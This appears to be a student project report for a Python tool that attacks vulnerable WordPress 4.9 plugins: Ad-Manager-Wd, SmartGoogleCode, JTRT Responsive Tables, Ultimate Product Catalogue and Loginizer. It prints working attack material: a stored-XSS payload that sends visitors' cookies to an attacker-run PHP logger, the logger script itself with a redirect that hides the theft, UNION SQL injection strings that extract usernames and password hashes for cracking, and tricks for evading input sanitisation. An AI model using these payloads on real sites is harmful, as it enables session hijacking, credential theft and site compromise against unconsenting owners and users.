PROJECT DOCUMENTATION & REPORT

We have decided to create an application that performs several attacks on different WordPress 4.9 plugins.

Why wordpress 4.9? We decided to go for 4.9 instead of newer versions because we were working on a Remote file execution vulnerability that was fixed in 5.0.1. Furthermore 4.9 resulted compatible with all the plugins and the php version that we were using.

Our project has a specific structure:

1. Main.py : project bootstrapper and main switch for the program functionalities
2. Discovery.py: does the discovery of the vulnerable plugins on which we will perform the attacks
3. LoginManager.py: manages the login to a Wordpress website
4. UrlControls.py: checks the validity of the given URL to attack
5. Plugins Classes: AdManagerWd.py, JtrtResponsiveTables.py, SmartGoogleCodePlugin.py, ProductCatalogue.py + Loginizer.py
6. Attacks Classes: FileDownload.py, John.py, SQLinj.py

STEPS:

1.

```
url = input("insert the url of the website to penetrate: ")
while urlControls.main(url)==False:
   url = input("the inserted url is not correct, insert another url: ")
```

First of all, the user has to insert a valid WordPress URL to attack, that will be controlled by the UrlControls.py class.
NB. It is important to know that the URL needs to be without the last slash, otherwise the application will say that the URL is wrong.

http://localhost/wordpress correct
http://localhost/wordpress/ wrong

2.
Once the URL has been controlled, the user can choose between two options:

1. Plugin Discovery done manually by us
2. Plugin and Theme discovery done by WP-Scan aggressive mode (we have inserted the option but we haven't implemented this option)

3.
In our plugin discovery (Discovery.py) we have done several controls.

We have two important List → activePlugins and vulnerablePlugins. The first one will contain all the active plugin found on our website, on the other hand the other list is a dictionary containing the plugins on which we have developed attacks.
In order to detect the active plugins we either look into the html code of the WordPress website and navigate through plugins known public and accessible directory

Ex. http://localhost/wordpress/wp-content/plugins/ + plugin name/plugin public folder

Once we have detected all the active plugins we compare the two lists. Have we found all the plugins of the vulnerablePlugins list?
If there is a plugin which has not been found it will be removed from the list. This operation is important for the next step.
In case plugins that are not in the vulnerablePlugins list are found, they will be shown to the user as active not vulnerable plugins.

4.
Now the user can see the list of vulnerable plugins with their associated attacks and can choose which one to attack.
In the main.py class we have created a switch that based on the name of the selected plugin calls the associated class.

```
def pluginChoice(choice):
  switcher={
    'ad-manager-wd': AdManagerWd.attack,
    'smartgooglecode': SmartGoogleCodePlugin.attack,
    'jtrt-responsive-tables': JtrtResponsiveTables.attack,
    'ultimate-product-catalogue': ProductCatalogue.attack
  }
  return switcher.get(choice, wrongPluginSelection)(url)
```

5.
For every plugin we have created a file.py in which we perform the associative attack. When an attack was in common to more plugins we have created a specific class for the attack (ex. SQLInj.py). Every plugin.py and attack.py class contain an *attack* method.

CHOOSEN PLUGINS:

1. Ad-Manager-Wd
2. Smartgooglecode
3. Jtrt-responsive-tables
4. Ultimate-product-catalogue

Ad-Manager-Wd:

Version: 1.0.11
Vulnerability: Arbitrary File Download
Link: https://www.exploit-db.com/exploits/46252

We have created a general FileDownload.py file because there are several plugins with this vulnerability so the initial idea was to exploit a set of plugins with this kind of vulnerabilities.

The wordpress edit.php allows to call the export_csv() function of the vulnerable plugin which allows us to download all files in a directory and to navigate in the various directories.

So the initial idea was to get a list of all the vulnerable plugins, checks whether the given URL has at least one of those plugins activated, if so try to download the files. We have implemented this option just for this plugin, but this idea could be easily extended in future.

The user needs to specify the absolute path where the downloaded files will be stored.

SmartGoogleCode:

Version: 3.4
Vulnerability: XSS
Link: https://www.exploit-db.com/exploits/43420

This plugin allows users to easily save google ad words and google analytics code inside their wordpress website.
The vulnerability comes from the fact that with a forged $_POST request it is possible to store some javascript code on the website. This is possible because the function saveGoogleCode does not check if the request comes from an authenticated user and furthermore it saves the content of the $_POST("sgcgoogleanalytic") without a correct input sanitation.

This allows an attacker to forge a request and inject malicious code.

```
400
401
402     //Save Google Code Info
403         function saveGoogleCode()
404         {
405             update_option( 'sgcwebtools', $_POST["sgcwebtools"] );
406
407             update_option( 'sgcgoogleanalytic', $_POST["sgcgoogleanalytic"] );
408
409             $_POST['notice'] = __('Settings Saved');
410
411         }
```

We decided to leverage the fact that we can insert javascript code into all the web pages of the vulnerable wordpress site by adding a javascript code capable of stealing the cookies of the user.

In fact our program allows the user to choose:

1- Write a custom xss javascript code to inject
2- Load a predefined javascript code, that redirects the victim to a malicious site able to steal the cookies.

Since the first option is more or less trivial, we will focus on the second possibility.

It is important to notice that in order to run the script correctly it is necessary to install PHP 5.4 or greater.
Our program , in fact creates a PHP server that is listening on 127.0.0.1:80

```php
<?php
    $cookies = $_GET["cookies"];
    $file = fopen('cookies_log.txt','a');
    fwrite($file,$cookies . "\n\n");
    echo ($_SERVER['HTTP_REFERER']);
    header("Location: http://www.google.com");
?>
```

On the Php server, the program, loads this php script, which waits for a connection from our victims, there it gets the victims cookies and saves them in a “cookies_log.txt” file.
After, the victim is redirected to google , in this way the stealing of cookies is hidden and less obvious.

Another kind of possible attack with this technique is a redirection to a phishing site, instead of just redirecting the user too google.com , we could have created a similar website to the original one, and just redirected the user, waiting for the login data to be sent.

The payload:

```
attack_script = '<script type="text/javascript">' \
        'var loc = \''+serverpath+'?cookies=\';' \
        'loc = loc.concat(document.cookie);' \
        'document.location=loc;' \
        '</script>'
```

Unfortunately the loading of custom payload on the website was not easy because of some automatic input sanitation performed by wordpress. For instance it was not possible to use double quotes or + sign inside our payload.
We tried to encode the payload , but even with a URLEncoded payload, it was not working , so we had to find a solution.
After several trials and problems we found that using this CONCATENATION function was working for this vulnerability because it allowed us to avoid special characters as quotes, punctation and slashes.

Note: The request with the payload has to be sent to a wordpress PAGE, not just to a wordpress website

Example:
http://localhost/wordpress/pagina-di-esempio/ correct
http://localhost/wordpress/ wrong

Jtrt-responsive-tables

Version: 4.1
Vulnerability: SQL Injection
Link: https://www.exploit-db.com/exploits/43110

In this vulnerability the user must be logged in, an account with any level of privileges is admitted, therefore the first thing the user needs to do is to insert the username and password. Then we want to get the users data so we are going to perform an SQL Injection attack.

```
$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );

if($retrieve_data){
  echo html_entity_decode(stripslashes($retrieve_data[0]->object_type));
}else{
  echo 'no';
}
```

The vulnerability is at the line 183 of the “class-jtrt-responsive-tables-admin.php” file. $getTableId input is not sanitized therefore it is possible through a UNION to retrieve data from other tables.
In our JtrtResponsiveTable.py class we perform a request with this particular data in order to build the proper query:

```
data = {"tableId":"1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1"}
SQLInj.attack(path,LoginManager.session,headers,data,":")
```

The complete query is:

```
SELECT * FROM  wp_jtrt_tables WHERE jttable_IDD = 1  UNION SELECT 1,2, CONCAT(user_login,char(58),user_pass), 4,5
FROM wp_users WHERE ID=1
```

Wp_jtrt_tables has 5 columns, this is the reason why we needed 5 columns also in the second SELECT. Once we have obtained the result the first record will be print.
Then we ask to the user to insert the path of the file in which the record will be stored. This record is composed by username:password, where the password is encrypted.
At the end, by using John The Ripper program we can decrypt the hashed password.

Ultimate-Product-Catalogue

Version 4.2.2
Vulnerability: SQL Injection
Link: https://www.exploit-db.com/exploits/42263

Also in this vulnerability the user must be logged in, therefore the first action is to insert the personal data. Once the logged is successful we will perform the SQL Injection attack in order to get the users data.

In the Process_Ajax.php the function Get_UPCP_SubCategories() inside the Process_Ajax.php file of the plugin is called.

```
$SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name
  WHERE Category_ID=" . $_POST['CatID']);
```

The 'CatID' variable is not sanitized, therefore allows us to perform an attack.

In our JtrtResponsiveTable.py class we perform a request with this particular data in order to build the proper query:

```
data = {"CatID": "0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID>=1"}
SQLInj.attack(attackUrl,LoginManager.session,headers,data,",")
```

The complete query:

```
$SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM subcategories_table_name
  WHERE Category_ID=0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID>=1\");
```

By running this query we are able to get a list containing all the data (username:password) of the users with ID>=0. The password are encrypted, therefore we need again to use John The Ripper we can decrypt the hashed password.

Loginizer
Version 1.3.8-1.3.9
Vulnerability: XSS
Link: https://wpvulndb.com/vulnerabilities/9088

Loginizer is a plugin that works as a security mechanism to prevent or block bruteforce attacks on wp-login. At time of reveal it had more than 700.000 installations
The vulnerability is due to the fact that it uses $_SERVER["REQUEST_URI"] without a proper sanitation. Therefore, basically a malicious user can send a fake login request to the wp-login page with a malicious script inside the URL of the request, this allows to store a XSS javascript code inside the admin panel.

When the admin checks the bruteforce logs, the XSS is activated and a script is runned from the client of the admin.

The fact that the XSS is stored and accessible only by users with high privileges is really dangerous and could compromise the entire website.

Problems:
- The first problem was the availability of the plugin. Since we needed a old version and not the current one we had to search on the web. Unfortunately the only one available online is the 1.3.8 , it is declared as a vulnerable version, but in fact it is not!

After the installation and research we discovered that only the version 1.3.9 of Loginizer introduced the XSS vulnerability.
Therefore, we used this tool:
https://plugins.trac.wordpress.org/changeset?old_path=%2Floginizer%2Ftags%2F1.3.8&old=2151198&new_path=%2Floginizer%2Ftags%2F1.3.9&new=2151198&sfp_email=&sfph_mail=

To manually update our 1.3.8 version to 1.3.9 .

The upgrade operations allowed us to better understand the code and to find the culprit of this vulnerability.

-The second problem was that python Requests module converts all the special character in the url to URL encoded characters. Therefore all characters like : < , > , / , + , - , …
To avoid this problem the easier solution for us was to use cURL tool that does not encode the special characters in the url. Nevertheless, using CURL created other problems , for example, the payload must not contain whitespace characters, since they are not encoded and would give a bad response from the server.